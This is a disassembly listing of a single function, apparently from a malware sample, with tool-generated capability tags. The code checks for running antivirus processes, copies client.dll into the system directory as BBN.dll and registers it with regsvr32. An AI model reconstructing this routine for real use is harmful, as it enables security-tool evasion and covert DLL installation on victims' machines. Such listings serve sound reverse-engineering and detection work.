Function at 0x40ab50
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x43afb3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
mov eax, dword [0x449a98]
push ebp
push esi
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x160], eax
call fcn.0042fb60
mov eax, dword [esp + 0x24]
push str.360Tray.exe
xor ebp, ebp
push eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x174], ebp
call fcn.0042fdb8
mov ecx, dword [esp + 0x24]
push str.runiep.exe
push ecx
lea ecx, [esp + 0x24]
call fcn.0042fdb8
mov edx, dword [esp + 0x24]
push str.avp.exe
push edx
lea ecx, [esp + 0x24]
call fcn.0042fdb8
mov eax, dword [esp + 0x24]
push str.RavMon.exe
push eax
lea ecx, [esp + 0x24]
call fcn.0042fdb8
mov ecx, dword [esp + 0x24]
push str.ashDisp.exe
push ecx
lea ecx, [esp + 0x24]
call fcn.0042fdb8
lea ecx, [esp + 0x38]
call fcn.0040a4c0
lea edx, [esp + 0x38]
push edx
mov byte [esp + 0x170], 1
call fcn.0041feb0
mov eax, dword [esp + 0x28]
add esp, 4
cmp eax, ebp
jle 0x40acdd
test ebp, ebp
jl 0x40ae69
cmp ebp, eax
jge 0x40ae69
mov eax, dword [esp + 0x20]
lea edi, [eax + ebp*4]
mov eax, dword [edi]
mov edx, dword [eax - 4]
mov esi, dword [eax - 0xc]
mov eax, dword [eax - 8]
mov ecx, 1
sub ecx, edx
sub eax, esi
or eax, ecx
jge 0x40ac4c
push esi
mov ecx, edi
call fcn.00403080
mov eax, dword [edi]
push eax
call fcn.004220fd
add esp, 4
test esi, esi
jl 0x40ae5f
mov eax, dword [edi]
cmp esi, dword [eax - 8]
jg 0x40ae5f
mov dword [eax - 0xc], esi
mov ecx, dword [edi]
mov byte [esi + ecx], 0
cmp ebp, dword [esp + 0x24]
jge 0x40ae69
mov edx, dword [esp + 0x20]
lea esi, [edx + ebp*4]
push esi
lea ecx, [esp + 0x48]
call fcn.004171c0
cmp eax, dword [esp + 0x48]
mov dword [esp + 0x10], eax
je 0x40acb1
mov eax, dword [eax + 0xc]
mov esi, dword [esi]
push eax
push esi
call fcn.00422239
add esp, 8
test eax, eax
jl 0x40acb1
lea eax, [esp + 0x10]
jmp 0x40acbd
mov eax, dword [esp + 0x48]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
mov eax, dword [eax]
cmp eax, dword [esp + 0x48]
je 0x40acd0
mov ecx, dword [eax + 0x10]
test ecx, ecx
jne 0x40ae3e
mov eax, dword [esp + 0x24]
inc ebp
cmp ebp, eax
jl 0x40ac15
call fcn.00410300
push eax
lea ecx, [esp + 0x34]
call fcn.00406d20
push str.client.dll
push eax
lea ecx, [esp + 0x18]
push ecx
mov byte [esp + 0x178], 2
call fcn.00405580
add esp, 0xc
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
or edi, 0xffffffff
mov byte [esp + 0x16c], 4
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40ad2f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
push 0x104
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
mov ebp, dword [esp + 0x10]
je 0x40ae8f
lea ecx, [esp + 0x5c]
push ecx
lea ecx, [esp + 0x38]
call fcn.00406d20
push str.BBN.dll
push eax
lea edx, [esp + 0x14]
push edx
mov byte [esp + 0x178], 5
call fcn.00405580
add esp, 0xc
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
mov byte [esp + 0x16c], 7
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ad99
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov esi, dword [esp + 0xc]
push 0
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40ae6e
push 0x43ddd8
lea ecx, [esp + 0x1c]
call fcn.00406d20
lea ecx, [esp + 0xc]
push ecx
push eax
lea edx, [esp + 0x1c]
push edx
mov byte [esp + 0x178], 8
call fcn.004054d0
mov eax, dword [eax]
add esp, 0xc
push 1
lea ecx, [esp + 0x60]
push ecx
push eax
push str.regsvr32.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40ae11
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x16c], 7
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ae36
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esi - 0x10]
jmp 0x40af09
lea ecx, [esp + 0x38]
mov byte [esp + 0x16c], 0
call fcn.0040a560
mov dword [esp + 0x16c], 0xffffffff
jmp 0x40af60
push 0x80070057
call fcn.00401120
jmp fcn.0042fb3b
lea eax, [esi - 0x10]
mov byte [esp + 0x16c], 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ae8f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
push 0x43ddd8
lea ecx, [esp + 0x18]
call fcn.00406d20
lea ecx, [esp + 0x10]
push ecx
push eax
lea edx, [esp + 0x20]
push edx
mov byte [esp + 0x178], 9
call fcn.004054d0
add esp, 0xc
mov esi, dword [eax]
push 1
mov byte [esp + 0x170], 0xa
call fcn.00410300
push eax
push esi
push str.regsvr32.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x16c], 9
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40af02
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x16c], 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40af27
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [ebp - 0x10]
mov byte [esp + 0x16c], 1
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40af48
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x38]
mov byte [esp + 0x16c], 0
call fcn.0040a560
mov dword [esp + 0x16c], edi
lea ecx, [esp + 0x1c]
call fcn.0042fbb2
mov ecx, dword [esp + 0x164]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x158]
pop ebp
call fcn.0042193c
add esp, 0x164
ret